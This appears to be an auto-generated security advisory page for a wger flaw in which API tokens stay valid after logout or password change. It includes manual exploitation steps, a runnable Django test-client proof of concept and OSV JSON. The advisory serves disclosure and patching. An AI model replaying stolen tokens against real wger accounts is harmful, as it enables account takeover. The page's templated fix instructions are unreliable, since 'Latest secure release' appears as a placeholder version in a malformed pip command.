CVE-2026-46437: wger API Credentials Remain Valid After Vulnerability

MODERATE
Advisory Identifier: GHSA-v3x9-6gg8-c2c9
CVSS 4.8
CWE-613 CWE-287
Published
Advisory Summary

CVE-2026-46437 is a MODERATE (CVSS 4.8) api credentials remain valid after vulnerability (CWE-613: Insufficient Session Expiration) affecting wger libraries in the PyPI ecosystem. The issue involves api credentials remain valid after logout/password change. Remediation is available in the latest vendor maintenance releases.

CVE-2026-46437 at a Glance

CVE Identifier CVE-2026-46437
GHSA Identifier GHSA-v3x9-6gg8-c2c9
Severity MODERATE
CVSS v3.1 Base Score 4.8
CWE Classification CWE-613: Insufficient Session Expiration
Affected Product wger
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 4.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-46437

To remediate this vulnerability, upgrade all affected wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wger fixed: Latest secure release
pip install wger>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show wger

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-46437, inspect your installed packages using pip:

pip show wger

Analyze the terminal output to locate any version of wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show wger command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-613: Insufficient Session Expiration, where according to wasc, "insufficient session expiration is when a web site permits an attacker to reuse old session credentials or session ids for authorization.". In wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim’s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens. - **Password change** updates the password hash, but does not revoke: - existing DRF tokens stored in `authtoken_token` - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry. #### Vulnerable Files - `wger/wger/core/views/user.py` (logout implementation) - `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults) - `wger/settings/main.py` (commonly used production defaults for JWT lifetimes) - `wger/wger/utils/api_token.py` (authtoken rotation is manual only) ### PoC (Proof of Concept) #### Manual Exploitation Steps 1. Create a user account. 2. Obtain a JWT refresh token: - `POST /api/v2/token` with username/password. 3. Obtain a DRF token (API key): - use `/user/api-key` (or create token via admin/DB in a test environment). 4. Change password: - `POST /<lang>/user/password/change` with `old_password`, `new_password1`, `new_password2`. 5. Prove token replay: - Call a private endpoint using the *old* DRF token (should still return `200`). - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token). #### Automation PoC (Python) Copy/paste runnable PoC (Django in-process test client; no dev server required): ```python import json import os def main() -> None: """ PoC for IDENTITY-VULN-01: Proves that password change does not revoke: - DRF authtoken (Authorization: Token <key>) - JWT refresh tokens (still mint access tokens) This PoC runs entirely in-process using Django's test client + DRF APIClient. It does not require running the dev server. """ os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main") # Ensure we use the local sqlite DB path used during setup os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3") os.environ.setdefault("DJANGO_MEDIA_ROOT", "media") import django django.setup() from django.conf import settings from django.contrib.auth.models import User from django.test import Client from rest_framework.authtoken.models import Token from rest_framework.test import APIClient username = "pwchange_user_poc" old_pw = "OldPassw0rd!" new_pw = "NewPassw0rd!" # Create a clean user + DRF token User.objects.filter(username=username).delete() user = User.objects.create_user(username=username, password=old_pw) Token.objects.filter(user=user).delete() drf_token = Token.objects.create(user=user).key api = APIClient() # Obtain JWT tokens with old password (proof baseline) r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json") refresh = getattr(r_obtain, "data", {}).get("refresh") # Change password through the actual password change endpoint web = Client() web.force_login(user) r_pw = web.post( "/en/user/password/change", data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw}, follow=False, ) # Old password should fail now (sanity check) r_obtain_old = api.post( "/api/v2/token", {"username": username, "password": old_pw}, format="json", ) # New password should work r_obtain_new = api.post( "/api/v2/token", {"username": username, "password": new_pw}, format="json", ) # DRF token remains valid (private endpoint still accessible) api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}") r_drf = api.get("/api/v2/weightentry/") # Old refresh remains valid (still mints a new access token) api.credentials() r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json") out = { "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()), "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()), "jwt_obtain_oldpw_before_change": r_obtain.status_code, "password_change_status": r_pw.status_code, "jwt_obtain_oldpw_after_change": r_obtain_old.status_code, "jwt_obtain_newpw_after_change": r_obtain_new.status_code, "drf_token_private_api_after_change": r_drf.status_code, "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code, "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())), } print(json.dumps(out, indent=2)) if __name__ == "__main__": main() ``` Expected output (example from a successful run): ```json { "jwt_refresh_lifetime_seconds": 86400, "jwt_access_lifetime_seconds": 900, "jwt_obtain_oldpw_before_change": 200, "password_change_status": 302, "jwt_obtain_oldpw_after_change": 401, "jwt_obtain_newpw_after_change": 200, "drf_token_private_api_after_change": 200, "jwt_refresh_with_old_refresh_after_change": 200, "jwt_refresh_response_keys": [ "access" ] } ``` ### Impact A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (**logout** and **password change**) do not terminate attacker access. - **Confidentiality:** attacker retains access to victim’s private API data (depends on endpoints used). - **Integrity:** attacker can perform any API mutations permitted to the victim’s account.

CVE-2026-46437 Affected wger Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wger
PyPI
≤ 2.1

References

Frequently Asked Questions

What is CVE-2026-46437?
CVE-2026-46437 is a security vulnerability in wger involving API credentials remain valid after logout/password change under CWE-613: Insufficient Session Expiration.
Which wger versions are affected?
Affected versions include releases prior to current release patches across affected packages: wger.
What version fixes CVE-2026-46437?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wger affected?
Yes, wger is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-46437?
CVE-2026-46437 has a CVSS v3.1 base score of 4.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-46437?
CVE-2026-46437 is classified under CWE-613: Insufficient Session Expiration (According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.").
How can I check PyPI dependencies for CVE-2026-46437?
Run the dependency tree command: 'pip show wger'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v3x9-6gg8-c2c9",
  "modified" : "2026-10-07T13:59:11Z",
  "published" : "2026-10-07T13:59:10Z",
  "aliases" : [ "CVE-2026-46437" ],
  "summary" : "wger: API credentials remain valid after logout/password change",
  "details" : "### Summary\n\nA vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim’s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).\nlifecycle events do not revoke these credentials:\n- **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens.\n- **Password change** updates the password hash, but does not revoke:\n  - existing DRF tokens stored in `authtoken_token`\n  - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.\n\n\n#### Vulnerable Files\n\n- `wger/wger/core/views/user.py` (logout implementation)\n- `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults)\n- `wger/settings/main.py` (commonly used production defaults for JWT lifetimes)\n- `wger/wger/utils/api_token.py` (authtoken rotation is manual only)\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account.\n2. Obtain a JWT refresh token:\n   - `POST /api/v2/token` with username/password.\n3. Obtain a DRF token (API key):\n   - use `/user/api-key` (or create token via admin/DB in a test environment).\n4. Change password:\n   - `POST /<lang>/user/password/change` with `old_password`, `new_password1`, `new_password2`.\n5. Prove token replay:\n   - Call a private endpoint using the *old* DRF token (should still return `200`).\n   - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token).\n\n#### Automation PoC (Python)\n\nCopy/paste runnable PoC (Django in-process test client; no dev server required):\n\n```python\nimport json\nimport os\n\n\ndef main() -> None:\n    \"\"\"\n    PoC for IDENTITY-VULN-01:\n    Proves that password change does not revoke:\n      - DRF authtoken (Authorization: Token <key>)\n      - JWT refresh tokens (still mint access tokens)\n\n    This PoC runs entirely in-process using Django's test client + DRF APIClient.\n    It does not require running the dev server.\n    \"\"\"\n\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings.main\")\n    # Ensure we use the local sqlite DB path used during setup\n    os.environ.setdefault(\"DJANGO_DB_DATABASE\", \"db.sqlite3\")\n    os.environ.setdefault(\"DJANGO_MEDIA_ROOT\", \"media\")\n\n    import django\n\n    django.setup()\n\n    from django.conf import settings\n    from django.contrib.auth.models import User\n    from django.test import Client\n    from rest_framework.authtoken.models import Token\n    from rest_framework.test import APIClient\n\n    username = \"pwchange_user_poc\"\n    old_pw = \"OldPassw0rd!\"\n    new_pw = \"NewPassw0rd!\"\n\n    # Create a clean user + DRF token\n    User.objects.filter(username=username).delete()\n    user = User.objects.create_user(username=username, password=old_pw)\n    Token.objects.filter(user=user).delete()\n    drf_token = Token.objects.create(user=user).key\n\n    api = APIClient()\n\n    # Obtain JWT tokens with old password (proof baseline)\n    r_obtain = api.post(\"/api/v2/token\", {\"username\": username, \"password\": old_pw}, format=\"json\")\n    refresh = getattr(r_obtain, \"data\", {}).get(\"refresh\")\n\n    # Change password through the actual password change endpoint\n    web = Client()\n    web.force_login(user)\n    r_pw = web.post(\n        \"/en/user/password/change\",\n        data={\"old_password\": old_pw, \"new_password1\": new_pw, \"new_password2\": new_pw},\n        follow=False,\n    )\n\n    # Old password should fail now (sanity check)\n    r_obtain_old = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": old_pw},\n        format=\"json\",\n    )\n\n    # New password should work\n    r_obtain_new = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": new_pw},\n        format=\"json\",\n    )\n\n    # DRF token remains valid (private endpoint still accessible)\n    api.credentials(HTTP_AUTHORIZATION=f\"Token {drf_token}\")\n    r_drf = api.get(\"/api/v2/weightentry/\")\n\n    # Old refresh remains valid (still mints a new access token)\n    api.credentials()\n    r_refresh = api.post(\"/api/v2/token/refresh\", {\"refresh\": refresh}, format=\"json\")\n\n    out = {\n        \"jwt_refresh_lifetime_seconds\": int(settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_access_lifetime_seconds\": int(settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_obtain_oldpw_before_change\": r_obtain.status_code,\n        \"password_change_status\": r_pw.status_code,\n        \"jwt_obtain_oldpw_after_change\": r_obtain_old.status_code,\n        \"jwt_obtain_newpw_after_change\": r_obtain_new.status_code,\n        \"drf_token_private_api_after_change\": r_drf.status_code,\n        \"jwt_refresh_with_old_refresh_after_change\": r_refresh.status_code,\n        \"jwt_refresh_response_keys\": sorted(list(getattr(r_refresh, \"data\", {}).keys())),\n    }\n\n    print(json.dumps(out, indent=2))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nExpected output (example from a successful run):\n\n```json\n{\n  \"jwt_refresh_lifetime_seconds\": 86400,\n  \"jwt_access_lifetime_seconds\": 900,\n  \"jwt_obtain_oldpw_before_change\": 200,\n  \"password_change_status\": 302,\n  \"jwt_obtain_oldpw_after_change\": 401,\n  \"jwt_obtain_newpw_after_change\": 200,\n  \"drf_token_private_api_after_change\": 200,\n  \"jwt_refresh_with_old_refresh_after_change\": 200,\n  \"jwt_refresh_response_keys\": [\n    \"access\"\n  ]\n}\n```\n\n### Impact\nA user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid.\nIf an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (**logout** and **password change**) do not terminate attacker access.\n- **Confidentiality:** attacker retains access to victim’s private API data (depends on endpoints used).\n- **Integrity:** attacker can perform any API mutations permitted to the victim’s account.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/releases/tag/2.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-613" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T13:59:10Z",
    "nvd_published_at" : null
  }
}